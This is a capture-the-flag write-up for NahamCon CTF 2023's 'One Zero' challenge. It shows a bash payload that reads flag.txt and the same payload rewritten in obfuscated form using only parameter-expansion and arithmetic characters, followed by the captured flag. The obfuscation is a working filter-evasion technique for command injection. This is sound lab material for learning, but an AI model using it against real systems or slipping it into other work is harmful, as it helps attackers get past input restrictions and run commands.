ctf-writeup/2023/NahamCon CTF 2023/One Zero

One Zero

You only get one zero. ;)

How to Solve

To solve this you need bash obfuscate method

Bash Obfuscate Tool

The original payload is bash <<< {cat, flag.txt}

After obfuscate became this

${!#} <<< {$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$((${##}<<$((${##}))^${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))^${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))\\$((${##}<<$((${##}))<<$((${##}))^${##}))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))${#}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',}

flag{81b9de37f5bd218c9f59ac2d9d709bf6}